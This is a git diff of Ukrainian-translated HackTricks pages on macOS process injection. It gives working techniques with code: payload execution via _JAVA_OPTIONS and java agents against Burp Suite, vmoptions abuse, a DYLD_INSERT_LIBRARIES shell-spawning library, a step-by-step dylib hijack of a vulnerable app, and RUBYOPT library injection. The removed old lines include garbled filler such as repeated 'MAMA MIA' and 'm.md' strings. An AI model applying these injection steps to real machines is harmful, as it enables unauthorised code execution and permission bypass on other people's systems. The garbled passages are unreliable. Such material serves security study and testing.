||||
# Search only in /Applications folder
|
||||
sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
||||
|
@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null
|
|||
```
|
||||
## \_JAVA\_OPTIONS
|
||||
|
||||
Змінна середовища **`_JAVA_OPTIONS`** може бути використана для впровадження довільних параметрів Java у виконання скомпільованої програми Java:
|
||||
Змінна середовища **`_JAVA_OPTIONS`** може бути використана для ін'єкції довільних параметрів java під час виконання скомпільованого java додатку:
|
||||
```bash
|
||||
# Write your payload in a script called /tmp/payload.sh
|
||||
export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
```
|
||||
Для виконання його як нового процесу, а не як дитини поточного терміналу, ви можете використовувати:
|
||||
Щоб виконати це як новий процес, а не як дочірній процес поточного терміналу, ви можете використовувати:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
// clang -fobjc-arc -framework Foundation invoker.m -o invoker
|
||||
|
@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Проте це спричинить помилку в виконуваній програмі, інший, більш прихований спосіб - створити java-агент і використовувати:
|
||||
Однак це викличе помилку в виконуваному додатку, інший, більш прихований спосіб - створити java-агента і використовувати:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
@ -119,7 +120,7 @@ err.printStackTrace();
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Для компіляції агента виконайте:
|
||||
Щоб скомпілювати агент, виконайте:
|
||||
```bash
|
||||
javac Agent.java # Create Agent.class
|
||||
jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar
|
||||
|
@ -131,7 +132,7 @@ Agent-Class: Agent
|
|||
Can-Redefine-Classes: true
|
||||
Can-Retransform-Classes: true
|
||||
```
|
||||
І потім експортуйте змінну середовища та запустіть java-додаток так:
|
||||
А потім експортуйте змінну середовища та запустіть java-додаток так:
|
||||
```bash
|
||||
export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
||||
"/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub"
|
||||
|
@ -140,12 +141,12 @@ export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar'
|
|||
|
||||
open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional"
|
||||
```
|
||||
## Файл vmoptions
|
||||
## vmoptions файл
|
||||
|
||||
Цей файл підтримує вказівку **параметрів Java** при виконанні Java. Ви можете скористатися деякими попередніми трюками, щоб змінити параметри Java та **змусити процес виконати довільні команди**. \
|
||||
Більше того, цей файл також може **включати інші файли** з допомогою директиви `include`, тому ви також можете змінити включений файл.
|
||||
Цей файл підтримує специфікацію **Java параметрів** під час виконання Java. Ви можете використовувати деякі з попередніх трюків, щоб змінити java параметри та **змусити процес виконувати довільні команди**.\
|
||||
Більше того, цей файл також може **включати інші** за допомогою директорії `include`, тому ви також можете змінити включений файл.
|
||||
|
||||
Ще більше, деякі Java-додатки будуть **завантажувати більше одного файлу `vmoptions`**.
|
||||
Ще більше, деякі Java додатки **завантажать більше ніж один `vmoptions`** файл.
|
||||
|
||||
Деякі програми, такі як Android Studio, вказують у своєму **виводі, де вони шукають** ці файли, наприклад:
|
||||
```bash
|
||||
|
@ -158,7 +159,7 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession
|
|||
2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions
|
||||
```
|
||||
Якщо вони цього не роблять, ви легко можете перевірити це за допомогою:
|
||||
Якщо вони цього не роблять, ви можете легко перевірити це за допомогою:
|
||||
```bash
|
||||
# Monitor
|
||||
sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
||||
|
@ -166,4 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal
|
|||
# Launch the Java app
|
||||
/Applications/Android\ Studio.app/Contents/MacOS/studio
|
||||
```
|
||||
Зверніть увагу, що в цьому прикладі Android Studio намагається завантажити файл **`/Applications/Android Studio.app.vmoptions`**, місце, де будь-який користувач з групи **`admin` має право на запис.**
|
||||
Зверніть увагу, як цікаво, що Android Studio в цьому прикладі намагається завантажити файл **`/Applications/Android Studio.app.vmoptions`**, місце, де будь-який користувач з групи **`admin` має доступ на запис.**
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Дикий захоплення та DYLD\_INSERT\_LIBRARIES
|
||||
# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Базовий приклад DYLD\_INSERT\_LIBRARIES
|
||||
## DYLD\_INSERT\_LIBRARIES Основний приклад
|
||||
|
||||
**Бібліотека для впровадження** для виконання оболонки:
|
||||
**Бібліотека для ін'єкції** для виконання оболонки:
|
||||
```c
|
||||
// gcc -dynamiclib -o inject.dylib inject.c
|
||||
|
||||
|
@ -45,11 +46,11 @@ printf("Hello, World!\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Впровадження:
|
||||
Ін'єкція:
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
|
||||
```
|
||||
## Приклад Викрадення Dyld
|
||||
## Dyld Hijacking Example
|
||||
|
||||
Цільовий вразливий бінарний файл - `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
|
||||
|
||||
|
@ -91,7 +92,7 @@ compatibility version 1.0.0
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
З попередньою інформацією ми знаємо, що він **не перевіряє підпис завантажених бібліотек** і **намагається завантажити бібліотеку з**:
|
||||
З попередньої інформації ми знаємо, що **не перевіряється підпис завантажених бібліотек** і **намагається завантажити бібліотеку з**:
|
||||
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
|
||||
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
|
||||
|
@ -104,7 +105,7 @@ pwd
|
|||
find ./ -name lib.dylib
|
||||
./Contents/Resources/lib2/lib.dylib
|
||||
```
|
||||
Отже, це можливо взламати! Створіть бібліотеку, яка **виконує деякий довільний код та експортує ті ж функціональні можливості**, що й легітимна бібліотека, експортуючи її знову. І не забудьте скомпілювати її з очікуваними версіями:
|
||||
Отже, це можливо вкрасти! Створіть бібліотеку, яка **виконує деякий довільний код і експортує ті ж функціональні можливості**, що й легітимна бібліотека, повторно експортувавши її. І не забудьте скомпілювати її з очікуваними версіями:
|
||||
|
||||
{% code title="lib.m" %}
|
||||
```objectivec
|
||||
|
@ -124,7 +125,11 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
|||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||
# Note the versions and the reexport
|
||||
```
|
||||
Шлях переекспорту, створений у бібліотеці, є відносним до завантажувача, змінимо його на абсолютний шлях до бібліотеки для експорту:
|
||||
{% endcode %}
|
||||
|
||||
Шлях повторного експорту, створений у бібліотеці, є відносним до завантажувача, давайте змінимо його на абсолютний шлях до бібліотеки для експорту:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
#Check relative
|
||||
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
|
||||
|
@ -143,34 +148,42 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Наостанок, просто скопіюйте його до **захопленого місця**:
|
||||
Нарешті просто скопіюйте це до **викраденого місця**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
|
||||
```
|
||||
and M_m m.md m.md m.md M of markdown e in m.md m.md m.md m.md m.md m.md m M on m markdown e in M; M and m markdown
|
||||
{% endcode %}
|
||||
|
||||
m ceiling. M.m and on.meM markdown.m m markdown m markdown
|
||||
І **виконайте** двійковий файл і перевірте, чи **бібліотека була завантажена**:
|
||||
|
||||
m ceiling. M.m and on.meM markdown.meM markdown.m m markdown m ceiling. M.m and on.meM markdown.m m markdown.m m markdown
|
||||
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
|
||||
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
|
||||
</strong>Використання: [...]
|
||||
</code></pre>
|
||||
|
||||
markdown, directory.md m m
|
||||
{% hint style="info" %}
|
||||
Гарний опис того, як зловживати цією вразливістю для зловживання дозволами камери Telegram, можна знайти за посиланням [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
|
||||
{% endhint %}
|
||||
|
||||
## MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m
|
||||
## Більший масштаб
|
||||
|
||||
Якщо ви плануєте спробувати інжектувати бібліотеки в несподівані двійкові файли, ви можете перевірити повідомлення подій, щоб дізнатися, коли бібліотека завантажується всередині процесу (в цьому випадку видаліть printf і виконання `/bin/bash`).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Впровадження Ruby-додатків macOS
|
||||
# macOS Ruby Applications Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## RUBYOPT
|
||||
|
||||
Використовуючи цю змінну середовища, можна **додавати нові параметри** до **ruby** кожного разу, коли він виконується. Хоча параметр **`-e`** не може бути використаний для вказання коду Ruby для виконання, можна використовувати параметри **`-I`** та **`-r`**, щоб додати нову теку до шляху завантаження бібліотек та потім **вказати бібліотеку для завантаження**.
|
||||
Використовуючи цю змінну середовища, можна **додати нові параметри** до **ruby** щоразу, коли він виконується. Хоча параметр **`-e`** не може бути використаний для вказівки коду ruby для виконання, можна використовувати параметри **`-I`** та **`-r`**, щоб додати нову папку до шляху завантаження бібліотек, а потім **вказати бібліотеку для завантаження**.
|
||||
|
||||
Створіть бібліотеку **`inject.rb`** у **`/tmp`**:
|
||||
|
||||
|
@ -26,7 +27,7 @@ puts `whoami`
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Створіть будь-де скрипт на Ruby, подібний до:
|
||||
Створіть будь-де скрипт ruby, наприклад:
|
||||
|
||||
{% code title="hello.rb" %}
|
||||
```ruby
|
||||
|
@ -34,24 +35,25 @@ puts 'Hello, World!'
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Потім запустіть довільний скрипт Ruby, щоб завантажити його за допомогою:
|
||||
Тоді створіть довільний ruby-скрипт, щоб завантажити його за допомогою:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||||
```
|
||||
Цікавий факт, це працює навіть з параметром **`--disable-rubyopt`**:
|
||||
Фунт факт, це працює навіть з параметром **`--disable-rubyopt`**:
|
||||
```bash
|
||||
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,33 @@
|
|||
# macOS xattr-acls extra stuff
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
|
||||
\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
{% endhint %}
|
||||
```bash
|
||||
rm -rf /tmp/test*
|
||||
echo test >/tmp/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
|
||||
./get_acls test
|
||||
ACL for test:
|
||||
!#acl 1
|
||||
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown
|
||||
|
||||
ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a
|
||||
|
||||
````
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Код функції get_acls</summary>
|
||||
<summary>Код get_acls</summary>
|
||||
```c
|
||||
// gcc -o get_acls get_acls
|
||||
#include <stdio.h>
|
||||
|
@ -61,47 +67,103 @@ acl_free(acl);
|
|||
acl_free(acl_text);
|
||||
return 0;
|
||||
}
|
||||
````
|
||||
|
||||
\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\`
|
||||
|
||||
```
|
||||
</details>
|
||||
```bash
|
||||
# Lets add the xattr com.apple.xxx.xxxx with the acls
|
||||
mkdir start
|
||||
mkdir start/protected
|
||||
./set_xattr start/protected
|
||||
echo something > start/protected/something
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Код set_xattr</summary>
|
||||
```c
|
||||
// gcc -o set_xattr set_xattr.c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/xattr.h>
|
||||
#include <sys/acl.h>
|
||||
|
||||
\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include
|
||||
|
||||
void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; }
|
||||
void print_xattrs(const char *filepath) {
|
||||
ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
return;
|
||||
}
|
||||
|
||||
char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; }
|
||||
char *buf = malloc(buflen);
|
||||
if (buf == NULL) {
|
||||
perror("malloc");
|
||||
return;
|
||||
}
|
||||
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; }
|
||||
buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW);
|
||||
if (buflen < 0) {
|
||||
perror("listxattr");
|
||||
free(buf);
|
||||
return;
|
||||
}
|
||||
|
||||
printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; }
|
||||
printf("All current extended attributes for %s:\n", filepath);
|
||||
for (char *name = buf; name < buf + buflen; name += strlen(name) + 1) {
|
||||
printf("%s: ", name);
|
||||
ssize_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
continue;
|
||||
}
|
||||
|
||||
char \*value = malloc(valuelen + 1); if (value == NULL) { perror("malloc"); continue; }
|
||||
char *value = malloc(valuelen + 1);
|
||||
if (value == NULL) {
|
||||
perror("malloc");
|
||||
continue;
|
||||
}
|
||||
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); free(value); continue; }
|
||||
valuelen = getxattr(filepath, name, value, valuelen, 0, XATTR_NOFOLLOW);
|
||||
if (valuelen < 0) {
|
||||
perror("getxattr");
|
||||
free(value);
|
||||
continue;
|
||||
}
|
||||
|
||||
